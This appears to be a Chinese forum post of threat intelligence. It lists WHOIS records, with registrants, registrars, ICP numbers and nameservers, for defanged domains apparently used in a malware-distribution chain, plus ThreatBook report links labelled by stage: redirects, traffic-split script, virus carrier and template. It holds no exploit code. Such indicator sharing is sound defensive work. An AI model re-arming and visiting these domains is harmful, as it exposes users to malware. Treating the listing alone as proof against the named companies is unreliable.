ns7[.]ctrip[.]com
ns8[.]ctrip[.]com
vip3[.]alidns[.]com
vip4[.]alidns[.]com
DNSSEC 未配置
域 名 zuoyebang[.]cc
注册商 Guangzhou Yunxun Information Technology Co., Ltd.
注册人 小船出海教育科技（北京）有限公司
邮 箱
地 区 中国（CN）
许可号 京ICP备2025153468号
注册日 2014-11-21 18:01:10 UTC+8
过期日 2028-11-21 18:01:10 UTC+8
更新日 2023-07-13 00:32:23 UTC+8
通过日 2025-12-16
IANA_ID 3793
状 态 正常
DNS ns3[.]dnsv5[.]com
ns4[.]dnsv5[.]com
DNSSEC 未配置
域 名 anvnjmc[.]com
注册商 Gname.com Pte. Ltd.
注册人 北京倩辰科技有限公司
邮 箱
地 区 中国（CN）
许可号 京ICP备2025111416号
注册日 2024-08-29 17:55:21 UTC+8
过期日 2026-08-29 17:55:21 UTC+8
更新日 2025-07-24 15:38:13 UTC+8
通过日 2025-02-27
IANA_ID 1923
状 态 客户端禁止转移
DNS ns1[.]huaweicloud-dns[.]cn
ns1[.]huaweicloud-dns[.]com
ns1[.]huaweicloud-dns[.]net
ns1[.]huaweicloud-dns[.]org
DNSSEC 未配置
域 名 umoinvest[.]com
注册商 Gname.com Pte. Ltd.
注册人 上海锆石庆信息科技有限公司
邮 箱
地 区 柬埔寨（KH）
许可号 沪ICP备2024093878号
注册日 2024-08-30 16:20:29 UTC+8
过期日 2028-08-30 16:20:29 UTC+8
更新日 2026-05-07 19:44:25 UTC+8
通过日 2025-03-07
IANA_ID 1923
状 态 客户端禁止转移
DNS dee[.]ns.cloudflare[.]com
yahir[.]ns.cloudflare[.]com
DNSSEC 未配置
域 名 vsamhos[.]com
注册商 Gname.com Pte. Ltd.
注册人 上海简衔贸易有限公司
邮 箱
地 区 中国（CN）
许可号 沪ICP备2024099058号
注册日 2025-03-30 18:09:53 UTC+8
过期日 2028-03-30 18:09:53 UTC+8
更新日 2025-12-25 17:14:12 UTC+8
通过日 2025-07-14
IANA_ID 1923
状 态 客户端禁止转移
DNS ns1[.]huaweicloud-dns[.]cn
ns1[.]huaweicloud-dns[.]com
ns1[.]huaweicloud-dns[.]net
ns1[.]huaweicloud-dns[.]org
DNSSEC 未配置
域 名 8rs8i[.]com
注册商 Gname.com Pte. Ltd.
注册人 北京健杰阳科技有限公司
邮 箱
地 区 中国（CN）
许可号 京ICP备2025112004号
注册日 2024-08-29 21:00:10 UTC+8
过期日 2026-08-29 21:00:10 UTC+8
更新日 2025-10-22 04:04:52 UTC+8
通过日 2025-03-03
IANA_ID 1923
状 态 客户端禁止转移
DNS ns1[.]huaweicloud-dns[.]cn
ns1[.]huaweicloud-dns[.]com
ns1[.]huaweicloud-dns[.]net
ns1[.]huaweicloud-dns[.]org
DNSSEC 未配置
域 名 meiyajudec[.]com
注册商 Gname.com Pte. Ltd.
注册人 上海反东反企业管理有限公司
邮 箱
地 区 柬埔寨（KH）
许可号 沪ICP备2025130884号
注册日 2025-06-05 16:13:51 UTC+8
过期日 2028-06-05 16:13:51 UTC+8
更新日 2026-06-10 22:09:47 UTC+8
通过日 2025-07-18
IANA_ID 1923
状 态 客户端禁止转移
DNS dee[.]ns.cloudflare[.]com
yahir[.]ns.cloudflare[.]com
DNSSEC 未配置
域 名 x2i08[.]com
注册商 Gname.com Pte. Ltd.
注册人 上海穗奇科技有限公司
邮 箱
地 区 柬埔寨（KH）
许可号 沪ICP备2024091169号
注册日 2024-08-30 17:10:23 UTC+8
过期日 2027-08-30 17:10:23 UTC+8
更新日 2026-05-07 19:44:25 UTC+8
通过日 2024-09-25
IANA_ID 1923
状 态 客户端禁止转移
DNS dee[.]ns.cloudflare[.]com
yahir[.]ns.cloudflare[.]com
DNSSEC 未配置
域 名 cszpra[.]com
注册商 Chengdu West Dimension Digital Technology Co., Ltd.
注册人 北京梅祥科技有限公司
邮 箱
省／州 四川（Si Chuan Sheng）
地 区 中国（CN）
许可号 京ICP备2025109887号
注册日 2024-08-29 13:26:40 UTC+8
过期日 2027-08-29 13:26:40 UTC+8
更新日 2026-05-17 14:04:17 UTC+8
通过日 2025-02-19
IANA_ID 1556
状 态 正常
DNS ns1[.]huaweicloud-dns[.]cn
ns1[.]huaweicloud-dns[.]com
ns1[.]huaweicloud-dns[.]net
ns1[.]huaweicloud-dns[.]org
DNSSEC 未配置
域 名 senshutou[.]com
注册商 Gname.com Pte. Ltd.
注册人 上海穗奇科技有限公司
邮 箱
地 区 柬埔寨（KH）
许可号 沪ICP备2024091169号
注册日 2024-08-30 16:40:08 UTC+8
过期日 2027-08-30 16:40:08 UTC+8
更新日 2026-05-07 19:44:25 UTC+8
通过日 2024-09-25
IANA_ID 1923
状 态 客户端禁止转移
DNS dee[.]ns.cloudflare[.]com
yahir[.]ns.cloudflare[.]com
DNSSEC 未配置
域 名 56tvc[.]com
注册商 Gname.com Pte. Ltd.
注册人 文安县银铭建材有限公司
邮 箱
地 区 中国（CN）
许可号 冀ICP备2024095542号
注册日 2024-08-29 14:35:44 UTC+8
过期日 2026-08-29 14:35:44 UTC+8
更新日 2025-01-09 03:21:39 UTC+8
通过日 2024-12-11
IANA_ID 1923
状 态 客户端禁止转移
DNS ns1[.]huaweicloud-dns[.]cn
ns1[.]huaweicloud-dns[.]com
ns1[.]huaweicloud-dns[.]net
ns1[.]huaweicloud-dns[.]org
DNSSEC 未配置
静态页面
https://s.threatbook.com/report/url/ac7fa386c24bb27964cc38eb67bb5c4e
https://s.threatbook.com/report/file/4fb836ccd88d22a1064c3b585a9dc288e43e68bfc532e8c94178346d04e2ec8a
临时指向
https://s.threatbook.com/report/url/6d201b8bbc279319496aab6d75899cc9
https://s.threatbook.com/report/file/8e63518fba214a3f4e0436101eb750abda6cb7d1c7e589c3927336036b383e65
落地导航
https://s.threatbook.com/report/url/88e20cc184d1606ef68f25065f2a8e5b
https://s.threatbook.com/report/file/d4fe592053e51aadfb031ffe962be59b87dd63208719c19b384e567273ef2f88
落地导航（已渲染和初始状态）
https://s.threatbook.com/report/file/5841b11894dffc672dd0f657f785380c95fccf654f5670d418931426914becd3
https://s.threatbook.com/report/file/9536dea15dc87014b7159842634173efd1088aa04feb5fd36f7e7dc888354074
落地导航（初始状态会话核心过程ＨＡＲ）
https://s.threatbook.com/report/file/a077ed3fef5c6e67e4ddb139d84e8f98078a2fcf2eab91315bd80c98044453cf
分流脚本
https://s.threatbook.com/report/url/ac6ac6ceb7c104e6c54fdf3d0420fd7f
https://s.threatbook.com/report/file/d4633c13a79b3802794d08ef8d632cd4732740f8a8dc3848ca5de3de24a90a89
套娃指向
https://s.threatbook.com/report/url/11fa0a54f2cb55a1f5badb8ffd497aed
https://s.threatbook.com/report/file/59a729d779a9ca9bda6890594cfaa173a9d9d2e9d8be73bf20261f8b4bc90763
病毒载体
https://s.threatbook.com/report/url/1a1223342af6bc49252e16b61e8e0c62
https://s.threatbook.com/report/file/fae3cc36808f946ffb96b1cc2cb6375ec82041444470973e10b92cbf96b73bcb
https://s.threatbook.com/report/url/eb6c622062d5b4221998417987e60cd0
https://s.threatbook.com/report/file/a9525d7b866dd24ee8f7d27011020d6f341546dafdc8e0dd7bba2e257c7cca19
核心模版
https://s.threatbook.com/report/url/4d8a6dd002fd728454d8af6be7372247
https://s.threatbook.com/report/file/f4fe51fbb47278dd1b17028c581b3e52297ec1c6802d0eba37c2f46b2e94c113 |
楼主: kkdy
发表于 2026-7-24 23:19:47
楼主